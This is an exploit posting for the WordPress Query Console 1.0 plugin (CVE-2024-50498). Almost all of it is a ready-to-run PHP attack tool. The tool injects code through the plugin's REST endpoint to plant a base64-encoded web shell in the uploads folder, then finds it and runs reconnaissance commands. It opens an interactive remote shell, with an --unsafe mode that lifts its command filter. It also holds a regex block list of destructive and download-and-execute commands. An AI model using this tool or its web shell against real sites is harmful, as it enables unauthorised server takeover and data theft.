📄 WordPress Query Console 1.0 Code Injection

=============================================================================================================================================
    | # Title     : WordPress Query Console 1.0 Exploit Implementation                                                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214250/ & CVE-2024-50498
    
    [+] Summary    :  This code represents an advanced, class-based proof-of-concept targeting a WordPress Query Console vulnerability. 
                      It is designed as a CLI-only tool that automates payload upload, verification, command execution testing, and optional interactive shell access, with cleanup capabilities afterward. 
                      The implementation includes safety features such as a restricted command mode, basic rate limiting, OS detection, output sanitization, and payload markers to reduce false positives.
    
    [+] Usage : 
    
    # Safe Mode (assumed) : php exploit.php --target http://victim.com
    
    # Unsafe Mode (more commands) :php exploit.php --target http://victim.com --unsafe --timeout 20
    
    # No automatic cleanup : php exploit.php --target http://victim.com --no-cleanup
    
    [+] POC :
    
    <?php
    
    class WordPressQueryConsoleExploit {
        private $target;
        private $url;
        private $cmdUrl;
        private $isWindows;
        private $timeout = 10;
        private $payloadMarker;
        private $uploadVerified = false;
        
        public function __construct($target, $timeout = 10) {
            $this->target = rtrim($target, '/');
            $this->url = $this->target . "/wp-json/wqc/v1/query";
            $this->cmdUrl = null;
            $this->isWindows = null;
            $this->timeout = max(5, min($timeout, 60)); 
            $this->payloadMarker = 'WQC_EXPLOIT_' . bin2hex(random_bytes(8));
        }
        
        public function setTimeout($timeout) {
            $this->timeout = max(5, min($timeout, 60));
        }
        
        private function banner() {
            $banner = <<<BANNER
     ██╗███╗   ██╗██████╗  ██████╗ ██╗   ██╗███████╗██╗  ██╗██╗  ██╗ █████╗ 
     ██║████╗  ██║██╔══██╗██╔═══██╗██║   ██║██╔════╝██║  ██║██║ ██╔╝██╔══██╗
     ██║██╔██╗ ██║██   █╔╝██║   ██║██║   ██║███████╗███████║█████╔╝ ███████║
     ██║██║╚██╗██║██╔══██╗██║   ██║██║   ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
     ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║  ██║██║  ██╗██║  ██║
     ╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝
     
              WordPress Query Console 1.0 Exploit Implementation
    
    BANNER;
            echo $banner;
        }
        
        private function printMessage($message, $icon) {
            echo $icon . " " . $message . "\n";
            usleep(100000); 
        }
        
        private function extractHostFromUrl($url) {
            $parsed = parse_url($url);
            return $parsed['host'] ?? parse_url('http://localhost', PHP_URL_HOST);
        }
        
        private function httpRequest($url, $method = 'GET', $data = null, $headers = [], $params = []) {
            $ch = curl_init();
    
            if (!empty($params) && $method === 'GET') {
                $url .= (strpos($url, '?') === false ? '?' : '&') . http_build_query($params);
            }
            
            $defaultHeaders = [
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',
                'Accept: */*',
                'Accept-Language: en-US,en;q=0.5',
                'Accept-Encoding: identity',
                'DNT: 1',
                'Connection: close'
            ];
            
            $allHeaders = array_merge($defaultHeaders, $headers);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_HTTPHEADER => $allHeaders,
                CURLOPT_HEADER => false
            ]);
            
            if ($method === 'POST') {
                curl_setopt($ch, CURLOPT_POST, true);
                if ($data !== null) {
                    curl_setopt($ch, CURLOPT_POSTFIELDS, is_string($data) ? $data : json_encode($data));
                    if (is_array($data)) {
                        $allHeaders[] = 'Content-Type: application/json';
                        curl_setopt($ch, CURLOPT_HTTPHEADER, $allHeaders);
                    }
                }
            }
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            return [
                'code' => $httpCode,
                'body' => $response !== false ? $response : '',
                'error' => $error,
                'success' => $httpCode >= 200 && $httpCode < 300 && empty($error)
            ];
        }
        
        private function uploadPayload() {
            $host = $this->extractHostFromUrl($this->target);
            
            $headers = [
                'Host: ' . $host,
                'Referer: ' . $this->target . '/wp-admin/admin.php?page=wp-query-console',
                'Origin: ' . $this->target
            ];
    
            $payloadCode = base64_encode('<?php
    if (isset($_GET["cmd"]) && !empty($_GET["cmd"])) {
        header("Content-Type: text/plain");
        $cmd = $_GET["cmd"];
        $output = "";
        $return_var = 0;
    
        $os = strtolower(PHP_OS);
        $isWin = (strpos($os, "win") === 0);
        
        if ($isWin) {
            $cmd = "cmd /c \"" . addslashes($cmd) . " 2>&1\"";
        } else {
            $cmd = escapeshellcmd($cmd) . " 2>&1";
        }
    
        if (function_exists("system")) {
            @ob_start();
            @system($cmd, $return_var);
            $output = @ob_get_clean();
        } elseif (function_exists("passthru")) {
            @ob_start();
            @passthru($cmd, $return_var);
            $output = @ob_get_clean();
        } elseif (function_exists("exec")) {
            @exec($cmd, $outputArray, $return_var);
            $output = implode("\n", $outputArray);
        } elseif (function_exists("shell_exec")) {
            $output = @shell_exec($cmd);
        }
        
        if (empty($output) && $return_var != 0) {
            echo "Command failed with exit code: " . $return_var;
        } else {
            echo $output !== null ? $output : "No output";
        }
    } else {
    
        echo "SYSTEM_INFO:OS=" . PHP_OS . ";PHP=" . PHP_VERSION . ";TIME=" . time() . ";MARKER=' . $this->payloadMarker . '";
    }
    ?>');
            
            $data = [
                "queryArgs" => "file_put_contents('wp-content/uploads/' . date('Y') . '/' . date('m') . '/wqc_" . bin2hex(random_bytes(4)) . ".php', base64_decode('" . $payloadCode . "'));",
                "queryType" => "WP_Query"
            ];
            
            $this->printMessage("Uploading payload...", "[+]");
            $result = $this->httpRequest($this->url, 'POST', $data, $headers);
            
            if (!$result['success']) {
                $this->printMessage("Upload failed: " . ($result['error'] ?: "HTTP {$result['code']}"), "[-]");
                return false;
            }
    
            $jsonResponse = json_decode($result['body'], true);
            
            if ($jsonResponse !== null) {
    
                if (isset($jsonResponse['status']) && $jsonResponse['status'] >= 400) {
                    $this->printMessage("API Error: " . ($jsonResponse['message'] ?? json_encode($jsonResponse)), "[-]");
                    return false;
                }
                if (isset($jsonResponse['code']) && is_numeric($jsonResponse['code']) && $jsonResponse['code'] >= 400) {
                    $this->printMessage("API Error Code: " . $jsonResponse['code'], "[-]");
                    return false;
                }
                if (isset($jsonResponse['success']) && $jsonResponse['success'] === false) {
                    $this->printMessage("API reported failure", "[-]");
                    return false;
                }
            }
            
            $this->printMessage("Upload request completed", "[+]");
            return true;
        }
        
        private function locateAndVerifyPayload() {
            $currentYear = date('Y');
            $currentMonth = str_pad(date('n'), 2, '0', STR_PAD_LEFT);
    
            $possiblePaths = [
                $this->target . "/wp-content/uploads/{$currentYear}/{$currentMonth}/",
                $this->target . "/wp-content/uploads/",
                $this->target . "/uploads/{$currentYear}/{$currentMonth}/",
                $this->target . "/uploads/"
            ];
    
            $testFiles = ['wqc_*.php', 'cmd.php', 'shell.php'];
            
            foreach ($possiblePaths as $basePath) {
                $this->printMessage("Scanning: " . $basePath, "[*]");
                
                foreach ($testFiles as $pattern) {
    
                    if ($pattern === 'wqc_*.php') {
    
                        for ($i = 0; $i < 3; $i++) {
                            $testPath = $basePath . 'wqc_' . bin2hex(chr(97 + $i)) . '.php';
                            $result = $this->testPayloadFile($testPath);
                            if ($result['found']) {
                                $this->cmdUrl = $testPath;
                                $this->parseSystemInfo($result['response']);
                                $this->uploadVerified = true;
                                return true;
                            }
                        }
                    } else {
                        $testPath = $basePath . $pattern;
                        $result = $this->testPayloadFile($testPath);
                        if ($result['found']) {
                            $this->cmdUrl = $testPath;
                            $this->parseSystemInfo($result['response']);
                            $this->uploadVerified = true;
                            return true;
                        }
                    }
                }
            }
            
            $this->printMessage("Payload not found in common locations", "[-]");
            return false;
        }
        
        private function testPayloadFile($url) {
            $result = $this->httpRequest($url);
            
            if (!$result['success'] || $result['code'] !== 200) {
                return ['found' => false, 'response' => ''];
            }
            
            $body = trim($result['body']);
    
            if (strpos($body, $this->payloadMarker) !== false) {
                return ['found' => true, 'response' => $body];
            }
    
            if (strpos($body, 'SYSTEM_INFO:') !== false) {
                return ['found' => true, 'response' => $body];
            }
    
            if (strpos($body, '<?php') !== false && strlen($body) < 5000) {
                return ['found' => true, 'response' => $body];
            }
            
            return ['found' => false, 'response' => $body];
        }
        
        private function parseSystemInfo($response) {
            if (preg_match('/SYSTEM_INFO:OS=([^;]+)/', $response, $matches)) {
                $os = strtolower($matches[1]);
                $this->isWindows = (strpos($os, 'win') === 0);
                $this->printMessage("Detected OS: " . $matches[1] . " (" . ($this->isWindows ? "Windows" : "Unix-like") . ")", "[+]");
            } else {
                $this->isWindows = null;
                $this->printMessage("OS detection failed", "[-]");
            }
        }
        
        private function testCommandExecution() {
            if (!$this->uploadVerified) {
                return false;
            }
            
            $this->printMessage("Testing command execution...", "[+]");
    
            $testCommands = [
                'universal' => ['echo ' . $this->payloadMarker, 'whoami 2>&1', 'echo %CD% 2>&1 || pwd 2>&1'],
                'windows' => ['ver 2>&1', 'dir 2>&1', 'echo %USERNAME% 2>&1'],
                'unix' => ['uname -a 2>&1', 'id 2>&1', 'pwd 2>&1']
            ];
            
            $successCount = 0;
            $maxTests = 3;
    
            foreach ($testCommands['universal'] as $cmd) {
                $result = $this->executeCommand($cmd);
                if ($result['executed'] && !empty(trim($result['output']))) {
                    $successCount++;
                    
                    // محاولة اكتشاف النظام من الناتج
                    if ($this->isWindows === null) {
                        $outputLower = strtolower($result['output']);
                        if (strpos($outputLower, 'windows') !== false || strpos($outputLower, 'microsoft') !== false) {
                            $this->isWindows = true;
                        } elseif (strpos($outputLower, 'linux') !== false || strpos($outputLower, 'unix') !== false) {
                            $this->isWindows = false;
                        }
                    }
                    
                    if ($successCount >= 2) {
                        $this->printMessage("Command execution verified", "[+]");
                        return true;
                    }
                }
                
                usleep(200000);
            }
    
            if ($this->isWindows !== null) {
                $type = $this->isWindows ? 'windows' : 'unix';
                foreach ($testCommands[$type] as $cmd) {
                    $result = $this->executeCommand($cmd);
                    if ($result['executed']) {
                        $successCount++;
                        if ($successCount >= 2) {
                            $this->printMessage("Command execution verified", "[+]");
                            return true;
                        }
                    }
                    usleep(200000);
                }
            }
            
            $this->printMessage("Command execution test inconclusive (success: {$successCount}/{$maxTests})", "[!]");
            return $successCount > 0;
        }
        
        private function executeCommand($command) {
            $result = $this->httpRequest($this->cmdUrl, 'GET', null, [], ['cmd' => $command]);
            
            if (!$result['success']) {
                return ['executed' => false, 'output' => '', 'error' => $result['error']];
            }
            
            $output = trim($result['body']);
    
            $isErrorPage = (
                strpos($output, '<!DOCTYPE') === 0 ||
                strpos($output, '<html') !== false ||
                strpos($output, 'error') !== false && strlen($output) > 1000
            );
            
            $executed = !$isErrorPage && $output !== '' && strpos($output, $this->payloadMarker) === false;
            
            return [
                'executed' => $executed,
                'output' => $output,
                'error' => $isErrorPage ? 'HTML response detected' : ''
            ];
        }
        
        private function validateCommand($command) {
            $command = trim($command);
            
            if (empty($command)) {
                return ['valid' => false, 'reason' => 'Empty command'];
            }
    
            $allowedCommands = [
                'whoami', 'id', 'pwd', 'ls', 'dir', 'cat', 'type',
                'uname', 'hostname', 'ipconfig', 'ifconfig', 'netstat',
                'ps', 'tasklist', 'echo', 'find', 'grep', 'wc', 'head',
                'tail', 'df', 'du', 'free', 'top', 'env', 'set'
            ];
            
            $baseCmd = explode(' ', $command)[0];
            $baseCmd = preg_replace('/[^a-z0-9]/i', '', $baseCmd);
    
            if ($this->isWindows !== null) {
                if ($this->isWindows) {
                    $allowedCommands = array_merge($allowedCommands, ['ver', 'systeminfo', 'net', 'sc', 'reg']);
                } else {
                    $allowedCommands = array_merge($allowedCommands, ['ls', 'cp', 'mv', 'rm', 'mkdir', 'chmod', 'chown']);
                }
            }
            
            if (!in_array(strtolower($baseCmd), $allowedCommands)) {
                return [
                    'valid' => false, 
                    'reason' => "Command '{$baseCmd}' not in allowed list. Use --unsafe to bypass."
                ];
            }
    
            $dangerousPatterns = [
                '/\b(rm\s+-rf|del\s+\/q|format|mkfs|dd\s+if)/i',
                '/\b(wget|curl|ftp)\s+http/i',
                '/\|\s*(bash|sh|cmd|powershell)\s*$/i',
                '/`.*`/',
                '/\$\s*\(/',
                '/>\s*\/dev\/(sda|null)/i'
            ];
            
            foreach ($dangerousPatterns as $pattern) {
                if (preg_match($pattern, $command)) {
                    return ['valid' => false, 'reason' => 'Potentially dangerous command pattern detected'];
                }
            }
            
            return ['valid' => true, 'reason' => ''];
        }
        
        private function interactiveShell($unsafeMode = false) {
            $this->printMessage("Entering interactive shell...", "[+]");
            echo "Type 'exit', 'quit', or press Ctrl+C to leave.\n";
            
            if (!$unsafeMode) {
                echo "Safe mode enabled. Some commands may be restricted.\n";
                echo "Use --unsafe flag for fewer restrictions.\n";
            }
            echo "\n";
            
            $commandHistory = [];
            $lastCommandTime = 0;
            $commandCount = 0;
            
            while (true) {
                echo "shell> ";
                $input = fgets(STDIN);
                
                if ($input === false) {
                    echo "\n";
                    break; // Ctrl+D
                }
                
                $command = trim($input);
                
                if (empty($command)) {
                    continue;
                }
    
                if (in_array(strtolower($command), ['exit', 'quit', ':q'])) {
                    $this->printMessage("Exiting shell", "[+]");
                    break;
                }
    
                if ($command === ':history') {
                    foreach ($commandHistory as $i => $cmd) {
                        echo sprintf("[%d] %s\n", $i + 1, $cmd);
                    }
                    continue;
                }
                
                if ($command === ':info') {
                    echo "Target: " . $this->target . "\n";
                    echo "Payload: " . $this->cmdUrl . "\n";
                    echo "OS: " . ($this->isWindows ? "Windows" : ($this->isWindows === false ? "Unix-like" : "Unknown")) . "\n";
                    echo "Commands executed: " . $commandCount . "\n";
                    continue;
                }
    
                $currentTime = microtime(true);
                if ($commandCount > 4 && ($currentTime - $lastCommandTime) < 2.0) {
                    $wait = 2.0 - ($currentTime - $lastCommandTime);
                    $this->printMessage(sprintf("Rate limit: waiting %.1f seconds...", $wait), "[!]");
                    usleep($wait * 1000000);
                }
                
                $lastCommandTime = microtime(true);
                $commandCount++;
                $commandHistory[] = $command;
    
                if (!$unsafeMode) {
                    $validation = $this->validateCommand($command);
                    if (!$validation['valid']) {
                        echo "Command rejected: " . $validation['reason'] . "\n";
                        continue;
                    }
                }
    
                $result = $this->executeCommand($command);
                
                if (!$result['executed']) {
                    echo "Execution failed";
                    if (!empty($result['error'])) {
                        echo ": " . $result['error'];
                    }
                    echo "\n";
                    continue;
                }
    
                $output = $result['output'];
    
                $output = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $output);
                $output = preg_replace('/<style\b[^>]*>(.*?)<\/style>/is', '', $output);
                $output = strip_tags($output);
                $output = html_entity_decode($output, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                
                if (empty(trim($output))) {
                    echo "(No output)\n";
                } else {
    
                    $lines = explode("\n", $output);
                    if (count($lines) > 50) {
                        echo "Output truncated to first 50 lines. Total: " . count($lines) . " lines\n";
                        echo "---\n";
                        $lines = array_slice($lines, 0, 50);
                        $output = implode("\n", $lines) . "\n... [truncated]";
                    }
                    
                    echo $output . "\n";
                }
            }
        }
        
        public function cleanup($force = false) {
            if (!$this->cmdUrl) {
                return false;
            }
            
            $this->printMessage("Attempting cleanup...", "[+]");
    
            if ($this->isWindows) {
                $cleanupCmd = 'del /f "' . addslashes($this->cmdUrl) . '"';
            } else {
                // Unix-like
                $cleanupCmd = 'rm -f "' . addslashes($this->cmdUrl) . '"';
            }
            
            $result = $this->executeCommand($cleanupCmd);
            
            if ($result['executed']) {
    
                $check = $this->httpRequest($this->cmdUrl);
                if ($check['code'] === 404 || $check['code'] >= 400) {
                    $this->printMessage("Cleanup successful", "[+]");
                    return true;
                }
            }
            
            $this->printMessage("Cleanup may have failed", "[-]");
            return false;
        }
        
        public function exploit($unsafeMode = false) {
            $this->banner();
    
            if (!$this->uploadPayload()) {
                $this->printMessage("Upload failed", "[-]");
                return false;
            }
    
            if (!$this->locateAndVerifyPayload()) {
                $this->printMessage("Payload verification failed", "[-]");
    
                echo "Enter payload URL manually (or press Enter to exit): ";
                $manualUrl = trim(fgets(STDIN));
                if (!empty($manualUrl)) {
                    $this->cmdUrl = $manualUrl;
                    $this->uploadVerified = true;
                } else {
                    return false;
                }
            }
    
            $executionTest = $this->testCommandExecution();
            
            if (!$executionTest) {
                $this->printMessage("WARNING: Command execution may not work", "[!]");
                echo "Continue anyway? (y/n): ";
                $response = trim(fgets(STDIN));
                if (strtolower($response) !== 'y') {
                    return false;
                }
            }
    
            $this->interactiveShell($unsafeMode);
            
            return true;
        }
    }
    
    if (php_sapi_name() !== 'cli') {
        die("This script must be run from command line\n");
    }
    
    $options = getopt("", ["target:", "timeout:", "unsafe", "help", "no-cleanup"]);
    $target = $options['target'] ?? null;
    $timeout = isset($options['timeout']) ? intval($options['timeout']) : 10;
    $unsafeMode = isset($options['unsafe']);
    $noCleanup = isset($options['no-cleanup']);
    
    if (isset($options['help']) || !$target) {
        echo "WordPress Query Console CVE-2024-50498 Exploit by indoushka\n";
        echo "============================================================\n\n";
        echo "Usage: php " . basename(__FILE__) . " --target <URL> [OPTIONS]\n\n";
        echo "Required:\n";
        echo "  --target <URL>    Target WordPress URL (e.g., http://example.com)\n\n";
        echo "Options:\n";
        echo "  --timeout <sec>   Request timeout in seconds (5-60, default: 10)\n";
        echo "  --unsafe          Disable command validation (less safe)\n";
        echo "  --no-cleanup      Do not attempt to remove payload after exit\n";
        echo "  --help            Show this help message\n\n";
        echo "Examples:\n";
        echo "  php " . basename(__FILE__) . " --target http://wp-site.com\n";
        echo "  php " . basename(__FILE__) . " --target https://victim.com --timeout 15 --unsafe\n";
        exit(1);
    }
    
    try {
        $exploit = new WordPressQueryConsoleExploit($target, $timeout);
        
        if (!$noCleanup) {
            register_shutdown_function(function() use ($exploit) {
                $exploit->cleanup();
            });
        }
        
        $success = $exploit->exploit($unsafeMode);
        
        if (!$success) {
            echo "\nExploit failed. Possible reasons:\n";
            echo "  - Target is not vulnerable\n";
            echo "  - Plugin not installed/activated\n";
            echo "  - Security restrictions\n";
            echo "  - Network/firewall issues\n";
            exit(1);
        }
        
    } catch (Exception $e) {
        echo "[!] Fatal Error: " . $e->getMessage() . "\n";
        echo "Trace: " . $e->getTraceAsString() . "\n";
        exit(1);
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================